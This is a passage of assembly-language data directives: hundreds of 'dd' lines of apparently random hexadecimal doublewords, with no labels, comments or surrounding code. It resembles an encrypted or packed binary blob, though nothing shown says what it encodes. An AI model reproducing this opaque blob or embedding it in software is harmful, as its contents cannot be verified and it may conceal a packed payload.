14251EA7h, 0A2000856h dd 712047F3h, 0DE195796h, 0AB086672h, 62B98AD8h, 0FCA1B05Ch dd 0F01F9491h, 10C0BED7h, 801EEE53h, 96D41865h, 5FE9701Ch dd 603BB0DDh, 0EE8AF102h, 525500A0h, 8F6E75F5h, 311E4565h dd 408CFD92h, 7C89385Ch, 97100F7Eh, 76607920h, 8E715172h dd 527B573Ch, 68490AECh, 4214B470h, 0DD4A0C94h, 3EC8106Bh dd 1C00143Ch, 0C49FA0DEh, 1A03FC7Ah, 0F22008ECh, 5C9184B7h dd 2842587Bh, 8A2041E9h, 763281CCh, 23AE84Eh, 0D4CA407Ch dd 1848C784h, 0AF00576Eh, 718D8AFBh, 90F496F8h, 0CF27808h dd 28CF52C8h, 8A12A550h, 8F1D1BDAh, 56019980h, 0E95A537Dh dd 430E2083h, 7683AA44h, 85F2D1D9h, 0B9F1A360h, 4508501Fh dd 0B2D30614h, 3F00A94Dh, 2EDD8520h, 7BEFB45Fh, 4E780C90h dd 0BA907377h, 1091B01h, 0D31F5323h, 8A84092h, 2880E52Ch dd 6D0BD520h, 0D3D450F8h, 0E1596174h, 223AF250h, 24AD3D70h dd 0ABF2077h, 94F3A66Ah, 25935306h, 0B2710318h, 6F4D52C4h dd 399C1000h, 0A6494B7Dh, 2052CF8Ah, 0F8972161h, 57E8D810h dd 51094DF2h, 0A0C4F10Bh, 2396F020h, 41531288h, 850C009Dh dd 1AC24A10h, 0A43DEA0Fh, 0F0684A49h, 0D3CF2300h, 7CCB3AC1h dd 0D2C224DFh, 0A398170h, 0E10C4EAFh, 4051E11Fh, 0B4EFA208h dd 5F0008E0h, 96E82B57h, 90265E8Ah, 65CE46Ch, 5372706Ah dd 0A93BF865h, 3C4492F8h, 80695C06h, 61180DA8h, 0D0C8EAA3h dd 0A04C41Dh, 0C7938A23h, 0E6FF9701h, 7688602Dh, 0EAE47D0Eh dd 0A44CE67Bh, 52CD0A20h, 945DADh, 0A788BAA1h, 0C9FB3216h dd 78BC4099h, 0DA1E0A8Ah, 0F020FC52h, 91717098h, 0A5490534h dd 89AC182Ch, 0D0A85FCBh, 332AD41Dh, 98A0E479h, 7E0F97A7h dd 2C5315AEh, 149D2861h, 0BB12028Ah, 7ECD6509h, 0E8286C91h dd 930495Dh, 0D50B4282h, 1DAA24D6h, 531E83C8h, 600BA1DFh dd 1044D7Bh, 0CB254931h, 6D368080h, 7FB6F12Fh, 3ADCB31Eh dd 0B9D50C1h, 0F456E9E2h, 4960F0C8h, 0F41070D3h, 367A1215h dd 38E93426h, 91788FF1h, 2EC9210h, 0E038CBF4h, 20186448h dd 3F7BF4E7h, 0B690F899h, 0FCFA7D1Dh, 0A46C3B26h, 34530A68h dd 0DE6503F8h, 0ADE06FE7h dd 0CA61A149h, 147CC550h, 0A9FD1DE9h, 0CBF083F0h, 68002D18h dd 0A0C09E82h, 0C2A2E907h, 0B1DC497Ah, 7B4B2488h, 0B817035Ch dd 0D800B267h, 0E3C82F1h, 1CB7321h, 1657867Ah, 876277AAh dd 0CA514040h, 0C58A6100h, 0C3E8C1A3h, 0A00A1952h, 0E48880C9h dd 91641553h, 1C80A0E0h, 30070632h, 41D27B01h, 4918C6B0h dd 0EB90B247h, 40F1D250h, 5A7425A0h, 0A092DA49h, 8F3EC700h dd 0A45F73ECh, 48EB06A2h, 78145053h, 0F107CA18h, 50BB8A48h dd 77B985Dh, 0B40A7557h, 0C586E0A1h, 98C49FAAh, 7A0011B0h dd 5B1B2141h, 3351D100h, 38A30A2h, 12A720Ah, 7271D21Ch dd 0D0784852h, 761E07FBh, 65DDC756h, 623C583Eh, 857B18h dd 0CC1AA5AAh, 3758320h, 527A70FAh, 103C67C0h, 80AD3CA2h dd 232CD656h, 6EE6CDh, 2848AB1Fh, 8971FABDh, 3A39307Dh dd 755C167Fh, 0DF858907h, 491A97A0h, 28B3605Ah, 0E8FF57F3h dd 521F5E06h, 9701DEDh, 116D89B1h, 0D2CA7C80h, 0B41F6186h dd 0C20C98F7h, 507AD0FEh, 748503Fh, 3A446CF0h, 7358D723h dd 6077FFB3h, 6F507800h, 9E1F07F7h, 96D1F318h, 3DCCED0h dd 51FB74FCh, 48733AF3h, 0FF1C067Fh, 1EC0EF97h, 645222A0h dd 17F734Bh, 0F01DA786h, 880E8116h, 0EEB9C28h, 0D3D949h dd 64FE2AC8h, 97004341h, 0CA1A2FFAh, 0DDF6A7h, 2B85F8CFh dd 89703878h, 0E0173E31h, 984273C2h, 387A2028h, 3B000440h dd 0ECB4F0B3h, 0C2B6FE5h, 0D86751CCh, 891BA4A8h, 0B8E06D8Dh dd 463A30h, 0B6EEA21Fh, 566607FFh, 95EF2A07h, 49D10F43h dd 0A09E88C6h, 74B34087h, 78E0F3F2h, 837E6F0Ah, 4B00A46Ah dd 13874519h, 7BAA005Bh, 0C8207148h, 5600C543h, 76EA9FFFh dd 31D3A71Fh, 9AF8F7E9h, 6FBC404Ch, 0EB631078h, 0B0527948h dd 5CCA9D29h, 480C2DB1h, 0BC809356h, 27E6CCA4h, 8A67B6F8h dd 0E7901E18h, 0A3538995h, 0F1C0B888h, 12A0C631h, 4D2859CBh dd 71008076h, 0FD1F17E9h, 902BBh, 0A1A52883h, 79BAF475h dd 0E96D4B00h, 0D789968Ch, 4350DED4h, 0BEDD482Eh, 6CF14002h dd 8FA33A22h, 58152CF1h, 2130A074h, 5A3737D3h, 565D7078h dd 0D00314A0h, 0F65227C5h, 9E280468h, 87154ABBh, 0F3ECBF0Ch dd 0ED018330h, 0E8E34438h, 8C20C47Ah, 4A84EB22h, 84FDC326h dd 4338325Ch, 42812441h, 0D04808B0h, 1A618D51h, 27F79620h dd 0AE8A6021h, 9088D859h, 56B18035h, 0C0A3F3h, 72CD43EEh dd 0A0484E2Ah, 2CA075B8h, 3B481F2Fh, 5D520C14h, 0F4A53807h dd 0B0511DCDh, 1BCE4F9h, 3A45AB75h, 0C3A07AECh, 0B8846447h dd 177491E9h, 3C0A000Ch, 88ACA3BEh, 0D7F9607h, 0EB761EEFh dd 0FF0430A8h, 0C9757331h, 0F1004AA0h, 0A71FE88Eh, 46C397E9h dd 0E142E48h, 5262EA50h, 0E82856ACh, 0B485A8C1h, 48ECBD4Dh dd 7C1C92DCh, 0A3F1FAE9h, 9080CE94h, 61C91248h, 6A0C60D9h dd 970559EAh, 1676F435h, 85F0B840h, 7C4EE041h, 6371146Ch dd 0B01F0C2Dh, 444DF9Fh, 0D58C7Bh, 5E727CE7h, 81B569F0h dd 7638A402h, 9948A100h, 0A18CEDAh, 28AD001Ch, 853051C3h dd 7E446413h, 0CCB98C1Fh, 0A76210B4h, 0F58B510Ch, 0EFCA260h dd 71EB702h, 614C0852h, 0EC4C7A34h, 0D2A60025h, 79E913AFh dd 0EEFC964Ch, 0A023B101h, 15DBB52Dh, 288016EDh, 0CF626F90h dd 0F12C5479h, 0B0248BD5h, 811F6640h, 0B5461FBBh, 0CA8CC705h dd 0B94EB0D7h, 4D69D951h, 0ACB00270h, 0FF7000A5h, 3F74F395h dd 4A8BF000h, 7A3C8ADBh, 0FD400148h, 0DD4901E7h, 5BBC50F5h dd 27554CD3h, 0AF7081E0h, 91C88997h, 51CA5083h, 21054461h dd 0AB635292h, 48958801h, 54205BA5h, 9070E471h, 0C452121Ch dd 5C745F98h, 6758079Ch, 5A6C976Fh, 0C02B040Ch, 260DA80Eh dd 3981A04Eh, 17EB5BBFh, 42CFE89Fh, 77522863h, 9C322880h dd 7403D7FFh, 8751CB1Bh, 6A98066Ch, 494D55E9h, 680003E6h dd 0B1F0B660h, 0EB3F45h, 234BC7EFh, 437A4D87h, 0D189840Eh dd 7B8F6628h, 80C91CE8h, 0B503C07Ch, 0F9C1A288h, 0A11A302Ch dd 0F212FC29h, 0E80C0C1Eh, 0CF113Bh, 0D2EF8159h, 96C8F9Eh dd 3C8BFD0Fh, 4C46724h, 0E245020Ch, 71BA0152h, 0F7764F68h dd 0E9DAC8D2h, 2217FC30h, 3D6E9ABFh, 7C19110Dh, 0D853144Bh dd 0FF71F5C3h, 0C8B660Fh, 66544F24h, 84220908h, 0B5510032h dd 80D5F6A3h, 0E97164C5h, 5A1A3065h, 0EC831421h, 24E089D9h dd 0FE473FB4h, 0C0DCF607h, 5266C0E4h, 1363A5E9h, 30CD012Ch dd 50428379h, 49C302B8h, 6E2BDFE9h, 0E06F4D0Ah, 1421D046h dd 5E1C100h, 1FBDF181h, 0FE7B76C6h, 0A65812B4h, 592F07DCh dd 34FFC101h, 5193EE24h, 6E68180Ch, 39145F7Fh, 9C32E924h dd 86905C10h, 5E3F5456h, 4CE21850h, 137B81Ch, 4018F01Eh dd 0F80DD0F7h, 0DAA14B3Eh, 0C11C85BAh, 0BE184A63h, 0ECA8104h dd 6740770Dh, 7F8FF2C0h, 1055BEBh, 0B35E9D0h, 9EC9B340h dd 7C22D44Dh, 0A7D23049h, 2C12B518h, 0FDBDCF50h, 52CD8005h dd 1BC0C5FEh, 0D9AA06E9h, 0E459E326h, 0E6A0E6F4h, 2ECEB6B5h dd 49F56006h, 259EE28h, 6851C6FEh, 0AB9860CCh, 0E9145EB4h dd 0A7F8855Ch, 0CD3F6B3h, 54326850h, 24551C35h, 0DDC602F1h dd 4D371E4Bh, 0AB0A1881h, 25D7C2h, 310BE8C1h, 83D346E9h dd 70385B52h, 5366D007h, 0F807DBB7h, 148B5B61h, 680A7527h dd 423135FFh, 0B6007259h, 39885196h, 0CCBA50F1h, 0C758E79Fh dd 60C05A66h, 31F78007h, 0FF12C7E6h, 4504D7F6h, 871D15ACh dd 93F1B450h, 0D610F39Eh, 5C148F5Eh, 0BE00B189h, 3393F25h dd 5A7DF681h, 685BAA05h, 484055D1h, 9748CBBAh, 0C142016Ch dd 0BB5302E2h, 7F5FCCA9h, 5BDA0900h, 5A12BE56h, 0E9050CF6h dd 584087BCh, 557A8292h, 0A2657820h, 0FD803A44h, 82870B41h dd 84E95C6Ch, 0EFDDA064h, 7B4D70EAh, 0DCF82057h, 283E1D84h dd 57098D8h, 320F490Eh, 55EDE78Dh, 134DEB9h, 0B558948Bh dd 2D264019h, 0CD0E4A03h, 0E1E80148h, 18A4A87Bh, 289D3B0Ch dd 19ED5FE5h, 0E54C0858h, 0E61CBAF5h, 6A1AA106h, 19B532A9h dd 1702E334h, 1DBFBCAAh, 88E8EE87h, 0F37DBC20h, 4833F806h dd 0B9FE9D84h, 8352A050h, 0EF9599C7h, 0E8BAF1DBh, 8031E49Dh dd 0D3E1815Dh, 747E7652h, 2C27A933h, 0FE6F148h, 0D860C92h dd 0EC08D0B1h, 16CE44B5h, 71C0C656h, 5D282475h, 48B89BCh dd 24785F93h, 7F295040h, 0E157FD4Ch, 0B07ED3C2h, 56C66851h dd 0BA10B95Eh, 0E0B8005Bh, 907612Dh, 0E8584CC2h, 0E2814201h dd 30711889h, 0BE04EA7Dh, 2988FD94h, 0C9827C3h, 280D68CDh dd 0AEA32457h, 413AA241h, 0B756F6F7h, 460F152Bh, 42A10D57h dd 603352C2h, 66C331DFh, 30B6650Fh, 0D0371EAEh, 0EC4CDF48h dd 5521105Dh, 3A20EFF1h, 953C8927h, 28B6C210h, 528CF654h dd 7A75F4Ch, 32CA0B7Dh, 5E8961EEh, 0C9E587Fh, 0D94994E2h dd 6061810h, 10C8820Fh, 64ED00C1h, 0E96D12BCh, 3F993ABDh dd 0F951070Ah, 8D43DB12h, 0E0345ECDh, 52800F05h, 4F1A8AC4h dd 0DD0EAD6Ch, 0C181E162h, 9A834E89h, 6D29912Eh, 0DAB696EFh dd 326F5894h, 0E240818Eh, 58113261h, 0B9303798h, 55DC6725h dd 30667A9Eh, 31148C03h, 27F058C6h, 64104765h, 6802B741h dd 8567741Ch, 0CD4C2B48h, 36FFB9C0h, 0ACC0681Dh, 270F2A1h dd 1583B001h, 0C92FFEE9h, 5496F33Bh, 2CD46079h, 0B301BD24h dd 0E96CFF50h, 62438Dh dd 5E62D020h, 235FA3F6h, 0DED042C5h, 0EB498922h, 31F45884h dd 0E6FC3970h, 53E7F007h, 1349CE68h, 1C8BA148h, 517DA022h dd 0EBD90CC3h, 2493AE4Dh, 1244525Ch, 0F255309Fh, 0D73F015Eh dd 0CC24518Bh, 335402C7h, 3A40FDC9h, 3DB475B8h, 8E1B71E0h dd 92247F80h, 5685E366h, 0DB11E689h, 96EE2143h, 2A073634h dd 17C1E910h, 28075E2Eh, 2479F65Bh, 0CA1D8Ah, 68C8255Ah dd 0F70059A4h, 6E0C1D8h, 24EE0435h, 3412DEEFh, 5A9B827Bh dd 0D61A9FA2h, 0AEC12904h, 63A03F0Ah, 61820AF9h, 1B95503Dh dd 0C0603FFh, 0AFC29E83h, 1270EB0h, 0DE6D7230h, 660804CCh dd 87B1AAB5h, 20EFD694h, 2FC8AA64h, 83BF668Ch, 0B3CCB016h dd 8D58159Fh, 6E51E983h, 30AC0A0Eh, 0A61CF6D8h, 7DB25240h dd 0E635C280h, 1E6576EAh, 75FE16CAh, 0D47C0116h, 0BBF044E9h dd 325469CBh, 0D3AB64F5h, 21110514h, 51F649D0h, 0F83CE09h dd 404DD4D5h, 110CC862h, 0C78C5013h, 7B431414h, 0C5500A5h dd 0C3E92B5Bh, 0A28194E4h, 542320C6h, 72B86813h, 1558A56Dh dd 46D920E9h, 2DF02901h, 32B31B7h, 0A897B830h, 2CEA01A3h dd 0EBE92C8Bh, 0D87BA404h, 8658DEA1h, 440CA616h, 5320E902h dd 7A5F5361h, 0A3BBF140h, 2AF40914h, 3E827B5Fh, 0D10716DCh dd 0F901B56Ah, 4168FB08h, 21CF1DCh, 89A145AFh, 0BF4059CAh dd 5A010723h, 0E9D30153h, 0C5869605h, 6A3359CBh, 0D06316Ch dd 0B9FE505Ch, 0DAE9159Ch, 0C603C8CEh, 1441D5Ah, 16EBA6DFh dd 1A345EDh, 0A459029h, 0EDC47454h, 0BDBF1ECDh, 87DFA400h dd 0C15F09FBh, 740002EBh, 6F7B9CDh, 0CD94E93Fh, 61766F32h dd 13220B07h, 7880F30h, 14B996Bh, 5E08E274h, 7CA2C7C4h dd 44810F02h, 27329A01h, 0D45429FCh, 19204210h, 0E0F18928h dd 73A3526h, 0D9E81349h, 8285FD0Bh, 0C7C0835Fh, 680628CAh dd 8341408Ch, 0D1C59BF6h, 0DE5745C4h, 0AB61B70Eh, 0CB93F1F6h dd 6E64E7h, 0E33182F9h, 0F74C0138h, 0E9084000h, 0E3391726h dd 6560DE59h, 76015DD2h, 578C603h, 0CECB3E3Fh, 5908C040h dd 0F5A46898h, 2886413h, 8CCD960Ch, 589B0235h, 0E8D166AAh dd 95F15E63h, 2F22537h, 0AC48EBD8h, 620BBC0Dh, 2402902h dd 7A88A4h, 0C807D305h, 2080DF51h, 0D001C318h, 0E9696564h dd 0BFA825ABh, 286283A1h, 0F5DAFF90h, 0E982BF28h, 5271E6BBh dd 0CF1876ACh, 32D5812h, 5B035DA9h, 0D4EBF801h, 0B0065B48h dd 49E9DAB1h, 5A3B433Ah, 25204E17h, 0D0AC848Ah, 83BF813h dd 51052C00h, 11DA7C8h, 41E390C2h, 40F1015Ah, 4CDC732Bh dd 5268B71Bh, 1DE6F9B2h, 5F545702h, 53CF61E9h, 223399D9h dd 4C06BB31h, 9220D0CCh, 431B8E98h, 0E6543172h, 5AA8D57Fh dd 3C4C01E1h, 57E8012Fh, 290841BFh, 988488F8h, 0EDD109EAh dd 2893E30Eh, 3C2668ABh, 83645655h, 0D64389D4h, 4895EEE9h dd 0C725CB1Eh, 6327AD8Bh, 0C15144C8h, 6CCCB0Fh, 815851C7h dd 8234F4EDh, 366000BAh, 0EAC15164h, 0C2008108h, 0FD54019h dd 81293BE9h, 0A657208Fh, 0A2BE4BC0h, 48407A01h, 0ED05724Eh dd 0C26F042Ah, 0BB485345h, 6B821406h, 0C9A2EA80h, 0AC4C871Ah dd 0E296C66h, 0D18B78A6h, 41E1F789h, 541025EBh, 5750CA94h dd 0FEA85097h, 0D7897F5h, 670C3360h, 5C24D52h, 0FAE9EF01h dd 0E8C5D258h, 5CD105CBh, 0CE3B8067h, 3B8E5554h, 7E624C1h dd 8700124h, 31297659h, 0E9E0CE46h, 6902FB2Dh, 0D8016BC5h dd 0A0078E05h, 3D66214Dh, 7494142Dh, 6809A4C6h, 489B2B2Fh dd 0C24A58C0h, 0C35D1D26h, 0A3D5200h, 54AFE967h, 0F52F9760h dd 4D7D0773h, 2259B7DDh, 95B951C0h, 7050A24Bh, 1F9A9882h dd 6199051Dh, 8227D2E8h, 4E2D9440h, 31430350h, 0EE0E5AD6h dd 0F5880F03h, 0CEFA60F0h, 0BACC5DE7h, 0D7212EF2h, 0A1F10DCh dd 0C980C1FEh, 0EC491A3Dh, 2E976576h, 2403C9CDh, 12002D72h dd 0FAEA814Ah, 247AFF7Fh, 0B94D701h, 0AA2B78BAh, 2D51CC19h dd 18E9C400h, 246690A0h, 88171CF7h, 4224CB61h, 0AF715F17h dd 0E625AD0h, 57E95109h, 28B89060h, 6AC86801h, 558C729h dd 656C09C4h, 52D4612h, 408BE907h, 886EB2A2h, 5A0E66D5h dd 0A34FE580h, 8301B353h, 0D85BDBDDh, 0EEF6FCCDh, 32462668h dd 0C7B66506h, 670D6C2h, 0DFEED8FDh, 0ACBD6F0h, 0A1D980ADh dd 0B2F81AE9h, 0D26F0601h, 9E89D87Ah, 7D0E6FBh, 82A5B7BBh dd 73B03C1h, 5311655Bh, 395900E3h, 4B5D1362h, 32B20F4Ch dd 0C0431A1Ah, 3944F608h, 601209B1h, 7A270059h, 1108C71h dd 4A0543B8h, 5E1FE953h, 39CBEA40h, 77312D63h, 99D8300Fh dd 534DEB19h, 0D846253Eh, 706D4855h, 7707FFE0h, 59669D1Ch dd 0D721D325h, 0C106CA8Ah, 32008590h, 0F7474B55h, 9220E9DFh dd 0D35C19F6h, 13703524h, 7D0FCD8Bh, 9019CC1h, 7B840FC0h dd 0A689185h, 500F9B05h, 0F78041F9h, 0BBEB8D1h, 6EA567FAh dd 7A86FF00h, 7983E66h, 2C471509h, 21AC8B4Bh, 0D1015E36h dd 0C14D5720h, 345BBAE5h, 0CA81C862h, 3A203609h, 86700F68h dd 35705AE5h, 0A3F0FE49h, 0E02A73CDh, 61204A05h, 5664835h dd 0E13B5B38h, 0C828580Bh, 24CEBB11h, 0EC1CC091h, 3EC48005h dd 9CA4E588h, 6481AAF9h, 9AF498DEh, 0BD96A329h, 8B00F499h dd 5EFBD55h, 0C1096A17h, 0BEECC1EDh, 5FFD10FCh, 87F51F29h dd 8D9C09EEh, 44B0E0B1h, 0B795002Dh, 0CA870F5Fh, 0C60BE150h dd 0AAB94A3Ah, 0EF59C668h, 62E9C3C3h, 9EF54087h, 0A056144h dd 0EA6B5DEAh, 0C6F54E6Bh, 0F6065352h, 0F2E9D0ABh, 2E5969A5h dd 92B497CEh, 1376D6C3h, 7159541Eh, 0A4F98524h, 32C50EBh dd 430EB227h, 0DBC884EDh, 246E9BBDh, 14F50B98h, 2BFB2B23h dd 68D5C944h, 906EE725h, 0C2E3E909h, 5D505A4Dh, 5130E741h dd 0EB51ACA0h, 34EFBCC1h, 0C296C1A3h, 8AED01EBh, 0D10196EAh dd 8F85E0E8h, 0B20E0792h, 4751536Bh, 0FD25C788h, 72A71384h dd 490B3A11h, 0D483CFA8h, 0F60F1594h, 802D2EAAh, 0BE894054h dd 2129FE64h, 9E9F481h, 2C50506Ch, 7151101Ah, 4504001Dh dd 65CCCD81h, 0F77A1E82h, 90053ED5h, 8019896Eh, 920949D4h dd 0EE316502h, 0D0F0215Dh, 7BE9105Eh, 17BA482Eh, 8867DEEBh dd 2983D1F2h, 0EFC12381h, 0CB83EA06h, 0D201E3F1h, 68C8B70Fh dd 4D386B3Dh, 0E73FBCC6h, 0B888E6B4h, 0D8F70044h, 1F289C35h dd 0DC01C83Dh, 5A5813B2h, 0C0049214h, 7257CCC2h, 0A2989825h dd 0E9080146h, 7E98F4DFh, 483E185Fh, 2920C632h, 590884C2h dd 808C5B85h, 0F82484FFh, 615208C7h, 800485A1h, 0B04A34EDh dd 0CE942560h, 0B8DA4FB5h, 0ADDE4015h, 22DE564Ch, 21EE0795h dd 0B37E7C11h, 5D01CD33h, 0FA7393F2h, 6C348938h, 331D604Bh dd 4A2DFEDh, 0BF53AA3Fh, 1D9D34EBh, 2568D5B4h, 0B5986997h dd 0C55481E5h, 0DA5D3158h, 0E7E644F3h, 58FE9D40h, 782696CDh dd 263A0E10h, 0F7C8D292h, 311EAE70h, 0CA3C5DE8h, 89578402h dd 4A33E5E7h, 0EEC1C37Bh, 685653B0h, 0D01D69F6h, 4213E964h dd 0FF9CAAD3h, 0A0352D20h, 78B40430h, 91F5A6E9h, 35828F1Ch dd 8C7E3235h, 525E254Eh, 1F22D928h, 1B946812h, 12B3FF61h dd 73B24203h, 0BA0BA2ABh, 9C2FD002h, 0C6CF9859h, 0BA105225h dd 0A38B54F3h, 97E067C1h, 9D4901C3h, 1AA28F0Eh, 0F736832Fh dd 84F3F0D3h, 7279091Eh, 862922E9h, 507EB680h, 3B961BF2h dd 1055D06h, 0B929E79h dd 948208E8h, 0E0B99A7h, 9356E677h, 9008980Fh, 9A027DAFh dd 1B38F505h, 9228BE79h, 83062855h, 874A02ECh, 42ACBA05h dd 0E2CD8ECDh, 0E9C47C78h, 29C590E8h, 55D32477h, 43683D42h dd 4939B20h, 6AE9DD6Ah, 58EEB76Fh, 1B7B2785h, 0BA6E3ED3h dd 0FA0169E3h, 0D1E93291h, 0F6C35016h, 4E506CFDh, 0B9A4F38Bh dd 21022833h, 0A211C9EAh, 60DAA960h, 6A56B842h, 158B203h dd 0A29C7759h, 0B1275CA1h, 0E1510EECh, 9C60DDF7h, 0FB6D621Eh dd 85092538h, 0B2F0B812h, 58B270Fh, 3E64500Fh, 69BA0023h dd 9578177Fh, 41050831h, 2C71E907h, 85BF0078h, 2952041Bh dd 5E5F7DFEh, 80D80208h, 524175C3h, 7FAB6914h, 152C600Eh dd 0CA6CCC76h, 0B84B7C89h, 96CA7D10h, 0D25985B4h, 16D31FBFh dd 0F257545Dh, 31648B20h, 73F233FEh, 0C83B6609h, 0CBA19607h dd 52C4EC45h, 8E657BC2h, 0CE19E33Ah, 0F76D968h, 72CF322h dd 0C0781689h, 0D0F796DDh, 0C97B60E7h, 8B8E1E99h, 9D99B3D1h dd 0E90AA573h, 8BB3E80Ah, 7046D96Eh, 189EA9Eh, 0A2DEECCEh dd 68D6C005h, 64074C20h, 0EAE41B96h, 4826C5B3h, 0B90CCF01h dd 13EF4745h, 0D7C7835Dh, 426BE2BFh, 9E875645h, 0A15BEF6Dh dd 0E9F02987h, 55748C2h, 0FA92F0FDh, 29C54F89h, 88BA3048h dd 3AB00210h, 57064D30h, 0AA9A1EE9h, 1BA5205h, 0FB0BC0D8h dd 2C3140E3h, 41B1EE9Bh, 44013C15h, 0F2A832EAh, 29818946h dd 5A8B5E02h, 68968040h, 0C12B4104h, 5F8106EBh, 3C2D3407h dd 2C77E303h, 83E903D5h, 18FF6CE6h, 0ABB0CA8Ah, 5D602502h dd 0E67B2440h, 840F5F0Dh, 2A20F583h, 7F56261Dh, 49A03FE6h dd 24D8F614h, 34620394h, 828604D6h, 8A96C2h, 2869B753h dd 0D73BE9FAh, 83267ABAh, 8C092EC3h, 9BDD9A36h, 46E4BCE4h dd 5BC420E9h, 29ECBB05h, 9E01590Fh, 6E237FC6h, 8228F0D5h dd 44AA8D4Ah, 121A0A9h, 0B225EA77h, 0E3A71398h, 0E2FBD730h dd 506C542Ah, 26587668h, 40E9C3B4h, 0BD100757h, 0B45D4BABh dd 85298531h, 782807Dh, 7396BFE9h, 8415DF24h, 3CD316EDh dd 6FC8574Dh, 1FAD3448h, 4937C139h, 3BAF31B5h, 410A08C5h dd 0CB80D3B0h, 8CF3CCFDh, 1C7C639h, 2E0EBA56h, 8D3004F4h dd 92280744h, 3C886858h, 0DBB425F9h, 0F52909h, 0CCE4C5EDh dd 81704B3Dh, 42C465Eh, 785C0DD2h, 8BF2B3EFh, 68CAEEBCh dd 7DCDA918h, 0E4EA6D9Eh, 0E0D842h, 0CF803BB7h, 0FCFE9239h dd 44945E25h, 1A22953Ch, 0E55E04CBh, 0A2068CC2h, 82D02114h dd 28A86A3h, 0BEC25B54h, 3EECB95Eh, 7B51A868h, 582CA894h dd 6475B152h, 0F75AD193h, 4C6230DFh, 0E7D71361h, 62C51BA8h dd 0B0C6FBDBh, 5C8A0414h, 0B205F9F5h, 0C14E902Fh, 2D17D0F3h dd 51E58440h, 8B5E9863h, 348F2D00h, 5553F2Bh, 0F144D1BDh dd 2464E307h, 1988F3FFh, 555D0797h, 0E8323B54h, 962AF4CEh dd 989A9835h, 0A3083D20h, 0B0AF2DDh, 21822D09h, 52051292h dd 798533C1h, 83D7F701h, 0F00E62E8h, 20CFB069h, 3E210C0Ch dd 424566E9h, 106D92A0h, 62406880h, 8D48832Ah, 0A05A7A09h dd 7E284CF4h, 970378F8h, 0F14F56AEh, 0B528A829h, 5AC0B2C9h dd 0EEE45007h, 5688E095h, 0C97E4A0Ch, 12E13283h, 6C494DC9h dd 7D0E03D5h, 8D104E8Eh, 68162AA7h, 0F4CCBA12h, 0C1308038h dd 0D8805839h, 59C80263h, 0E64D5768h, 5CB2068Bh, 69CE280h dd 0FC0AC3Bh, 65D2F606h, 6FC383F2h, 8A304A5Ch, 0B2148999h dd 0EBEA5E67h, 786B4E32h, 0B627ACCEh, 0C75C83C1h, 33B7C102h dd 0F70AD839h, 39C740D1h, 5FDD34B1h, 4721B018h, 0B35352h dd 4B255B12h, 2D74FE64h, 5910270Bh, 806C42D3h, 0B416F174h dd 3900B41Eh, 0F8054CC8h, 8063A267h, 97DBAFAh, 20A2758h dd 453F2116h, 0E9786029h, 9195D291h, 1622E749h, 54F29010h dd 14F38C75h, 9D9628D5h, 74565310h, 99967692h, 5BCBB053h dd 30B72563h, 7CEBA800h, 0C31F489Ch, 189D989h, 20A489C8h dd 2852B6CDh, 5B9B90F4h, 0CA3D5D73h, 40CC3412h, 6D83A21Eh dd 5EF38918h, 3CE543E6h, 86CCBE9Fh, 0B487B92Fh, 0B8E38453h dd 8B4A9C7h, 0DBE3C02Ah, 7224AA75h, 0E90B13C1h, 6898217Ch dd 312A77E4h, 4C0CB78h, 899F9EE2h, 7C9A133Fh, 2D6A0663h dd 98A59711h, 13CA0182h, 5362A5E9h, 1C2A1E84h, 21BEA51h dd 68C8BF0Fh, 6F590CD0h, 645D8799h, 0B8025C30h, 46B620A1h dd 2CA7DE89h, 0F0645F03h, 31362CB8h, 69D60D06h, 0EB449C65h dd 0F700181Fh, 49F681D6h, 0C96CFA1Fh, 9B5EA8FCh, 0CA43050Fh dd 2BC2FC56h, 6018B578h, 0A89B3D0h, 0C0E9DD95h, 995497F0h dd 49BAF72Ch, 1497BB6Ch, 0E983405Fh, 0C8C3EA4Ah, 33283231h dd 86525C06h, 51840354h, 1808BC99h, 0D1300B12h, 0B4C8DE04h dd 4F1257F7h, 8007263h, 95CDB752h, 5BDF0001h, 20A6BB53h dd 0E92F1E89h, 2D409D4h, 0DB854AB1h, 2492487h, 5202040Ch dd 854FB941h, 7E0B1E3Eh, 0F80C8916h, 487FE72Ch, 9787A062h dd 0C14DF547h, 806F56E9h, 8222C319h, 2901FDDEh, 24D45BD8h dd 0BABF1BABh, 1547CF87h, 0B464FF66h, 9A649964h, 642B8114h dd 590720C9h, 5008B800h, 67057C37h, 2E523F0Ch, 0B899BAAh dd 5504800Fh, 5054C232h, 5986E2A5h, 5ED16E43h, 92A5070Bh dd 0D217EBF9h, 0AA5B7899h, 4CFDE412h, 0DCB49ED3h, 0F754F50Bh dd 570FF3D6h, 6947047Eh, 0BBE460ECh, 45421E14h, 0D001926Bh dd 0D8B8C2A4h, 34E7C82Eh, 0C84AFF2Ch, 0DC806493h, 16FE6855h dd 4176A44Dh, 895F9DC4h, 0F6D3702Dh, 0FEE901F7h, 1140E2Ah dd 122E0CB7h, 0B809C565h, 0B382FEDh, 880C8038h, 0E85866C2h dd 67B0F6D7h, 0B0CBD356h, 23C38059h, 4B7FEBE6h, 0D502AE5Bh dd 664ACA68h, 0AE816027h, 272C4826h, 0B8505E14h, 0A8914E07h dd 0C9332A8Ah, 0BCF88814h, 9D715518h, 651DDBC1h, 0C780FB9Bh dd 7D412077h, 78A326E9h, 0A90DC446h, 0FCCB024Eh, 807C2604h dd 902807B4h, 0BEE91279h, 8359D147h, 0D30F2920h, 6831F5C3h dd 62DC0C06h, 0A1A2307Ah, 62DA63D5h, 0FA191E04h, 5C18779h dd 86290C7Dh, 8ADA863Ch, 77B202B7h, 0A77A16E9h, 0A4528AF7h dd 0E6AEEC17h, 27EEEADDh, 0E868BFE9h, 5140BC9h, 2FE731A1h dd 517F8B4Fh, 12254AB1h, 2AA78972h, 0EA890730h, 0DA01165Dh dd 3BD60403h, 86B2026Fh, 0C1F18208h, 0B1475169h, 287B6839h dd 84395B16h, 0B9570608h, 20D4AA22h, 5F094C3Eh, 4C08E6C1h dd 0CF9E20DCh, 0EA885212h, 595A3409h, 68E44FDFh, 717AF975h dd 0AA60FE41h, 6631409Dh, 74B82D3Eh, 0D3C30124h, 7A8C2742h dd 2C2F7861h, 6F3BE073h, 8830A004h, 1A416507h, 0C82B5D36h dd 8435A646h, 8C0F1BE9h, 5426523Eh, 55C2315Ah, 0CEB04350h dd 0EF8004ADh, 0F9F8301Fh, 182210C7h, 0A005AD48h, 125A091Ch dd 0EA770BCFh, 0BE056A52h, 286754F3h, 75DEEE15h, 9A2C152Dh dd 3C35B9B4h, 0CB4E7663h, 43C21E8h, 8C4BCD68h, 0CEA6B8BEh dd 